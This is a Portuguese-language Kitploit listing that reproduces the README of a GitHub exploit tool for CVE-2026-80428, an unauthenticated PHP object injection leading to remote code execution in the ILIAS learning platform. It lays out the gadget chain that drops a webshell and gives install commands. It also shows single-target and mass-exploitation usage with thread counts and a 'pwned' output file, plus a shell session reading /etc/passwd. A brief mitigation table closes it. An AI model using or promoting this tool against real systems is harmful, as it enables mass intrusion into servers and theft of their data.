Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-80428 — ILIAS ≤ 9.21 / 10.9 / 11.2 — Injeção de Objeto PHP Não Autenticada (RCE) | Kitploit
Ferramentas/GitHubGitHub/hackfutsecroot/cve-2026-80428
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubhackfutsecroot/cve-2026-80428

CVE-2026-80428

ILIAS ≤ 9.21 / 10.9 / 11.2 — Injeção de Objeto PHP Não Autenticada (RCE)

Ver Repositório
212há 27 diasAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Typing SVG

CVE ILIAS Type Python License



🚨 ILIAS ≤ 9.21 / 10.9 / 11.2 — Injeção de Objeto PHP Não Autenticada (RCE)

CVE-2026-80428

Vetor: Endpoint de logout back-channel do Shibboleth
Impacto: Execução Remota de Código completa como usuário do servidor web
Severidade: 🔴 CRÍTICA



📖 Índice

  • 🔍 Visão Geral
  • ⚙️ Cadeia de Vulnerabilidades
  • 🎯 Versões Afetadas
  • ✨ Recursos
  • 📦 Instalação
  • 🚀 Uso
    • Exploração de Alvo Único
    • Shell Interativo
    • Exploração em Massa
  • 📁 Formato da Lista de Alvos
  • 🖼️ Capturas de Tela
  • 🛡️ Mitigação
  • 📢 Canais e Comunidade
  • ⚠️ Aviso Legal

🔍 Visão Geral

CVE-2026-80428 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada que afeta o Sistema de Gestão de Aprendizagem ILIAS. Ao encadear uma primitiva de envenenamento de sessão em ltiauth.php com uma chamada insegura de unserialize() em shib_logout.php, um atacante pode obter escrita arbitrária de arquivos e, por fim, Execução Remota de Código (RCE) — tudo sem autenticação.


🎯 Parâmetro📋 Valor
ID do CVECVE-2026-80428
TipoInjeção de Objeto PHP → RCE
Autenticação Necessária❌ Nenhuma
Vetor de AtaqueRede (HTTP/HTTPS)
Pontuação CVSS9.8 (Crítica)

⚙️ Cadeia de Vulnerabilidades

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Passo a passo:

  1. ltiauth.php armazena um payload serializado dentro da sessão PHP sem validação.
  2. shib_logout.php processa uma requisição SOAP Shibboleth LogoutNotification manipulada e chama unserialize() nos dados da sessão.
  3. O gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para inserir um webshell PHP em um caminho controlado pelo atacante.

🎯 Versões Afetadas

🏷️ Branch❌ Vulnerável✅ Corrigido
9.x≤ 9.21≥ 9.22
10.x≤ 10.9≥ 10.10
11.x≤ 11.2≥ 11.3

✨ Recursos

🔥 Principais

  • ✅ Exploração não autenticada
  • ✅ Modo de alvo único (exploit)
  • ✅ Pseudo-shell interativo (shell)
  • ✅ Exploração em massa com multiprocessamento (mass)

💎 Qualidade de Vida

  • 🎨 Saída com cores ANSI completas
  • 🔄 Fallbacks automáticos de caminho
  • 🧠 Detecção de versão e verificação de patch
  • 📝 Salvamento automático de alvos vulneráveis
  • 🌐 Suporte a cabeçalho Host personalizado
  • 🔒 Suporte a TLS legado

📦 Instalação

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisitos:

  • Python 3.8+
  • requests
  • urllib3

🚀 Uso

python3 CVE-2026-80428.py <mode> [options]

📌 Exploit de Alvo Único

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opções:

FlagDescriçãoPadrão
--portPorta de destino443
--pathDocroot do ILIAS no disco/var/www/ilias/public
--host-headerCabeçalho Host personalizado—
--timeoutTempo limite da requisição (s)30

💻 Shell Interativo

python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Exploração em Massa

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opções:

FlagDescriçãoPadrão
-l, --listObrigatório — Arquivo de lista de alvos—
-t, --threadsWorkers simultâneos20
-o, --outputArquivo de saída para alvos vulneráveisilias_vuln.txt
--pathDocroot do ILIAS/var/www/ilias/public
--host-headerCabeçalho Host personalizado—
--timeoutTempo limite da requisição (s)30

📁 Formato da Lista de Alvos

Crie um arquivo targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formatos suportados:

  • host
  • host:port
  • http://host
  • https://host:port
  • host/path (caminho removido)

🖼️ Capturas de tela

🎬 Saída da varredura em massa

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigação

Para defensores e administradores de sistemas:

🛠️ Ação📝 Detalhes
🔼 Atualizar o ILIAS9.22 / 10.10 / 11.3 ou posterior
🚫 Desativar o ShibbolethSe não for utilizado — remover shib_logout.php
🧱 Regras de WAFBloquear payloads SOAP LogoutNotification malformados
📂 Restringir o Acesso de EscritaA raiz web não deve ser gravável por www-data
🔍 MonitorizarProcurar ficheiros .php inesperados nas pastas de upload/cache

📢 Canais & Comunidade

🌐 Junte-se à Comunidade


Baixar ferramenta